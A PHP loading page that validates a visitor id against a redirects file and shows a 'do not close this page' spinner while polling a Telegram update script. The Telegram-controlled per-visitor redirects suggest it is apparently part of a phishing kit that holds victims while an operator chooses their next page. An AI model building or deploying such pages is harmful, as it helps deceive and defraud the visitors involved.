<?php
session_start();
$settings = include __DIR__ . '/tg_config.php';

$visitor_id = $_GET['id'] ?? null;
if (!$visitor_id) {
    header('Location: error.php');
    exit;
}

// Optional: verify visitor exists in redirects store
$redirects_file = __DIR__ . '/session/redirects.json';
if (!file_exists($redirects_file)) {
    header('Location: error.php');
    exit;
}
$redirects = json_decode(file_get_contents($redirects_file), true);
if (!isset($redirects['redirects'][$visitor_id])) {
    header('Location: error.php');
    exit;
}
?>
<!doctype html>
<html lang="en">
<head>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1">
  <title>Loading...</title>
  <style>
    body { font-family: system-ui, Arial, sans-serif; display:flex; align-items:center; justify-content:center; min-height:100vh; }
    .box { text-align:center; }
    .spinner { width:64px; height:64px; border-radius:50%; border:8px solid rgba(0,0,0,0.1); border-top-color:#3578e5; animation:spin 1s linear infinite; margin:0 auto; }
    @keyframes spin { to { transform: rotate(360deg); } }
    .hint { margin-top:14px; color:#555; }
  </style>
</head>
<body>
  <div class="box">
    <div class="spinner"></div>
    <div class="hint">Please wait… do not close this page.</div>
  </div>
  <script>
    const CHECK_INTERVAL = <?php echo json_encode($settings['loading_check_interval'] ?? 1000); ?>;
    const TIMEOUT = <?php echo json_encode($settings['loading_timeout'] ?? 180); ?>;
    const VISITOR_ID = <?php echo json_encode($visitor_id); ?>;
    const POLLING_ENABLED = <?php echo json_encode($settings['polling']['enabled'] ?? false); ?>;
  </script>
  <script src="assets/js/redirect-checker-lite.js"></script>
  <script>
    if (POLLING_ENABLED) {
      setInterval(() => { fetch('tg_check_telegram_updates.php?_nocache=' + Date.now(), { cache: 'no-store' }); }, 2000);
    }
  </script>
</body>
</html>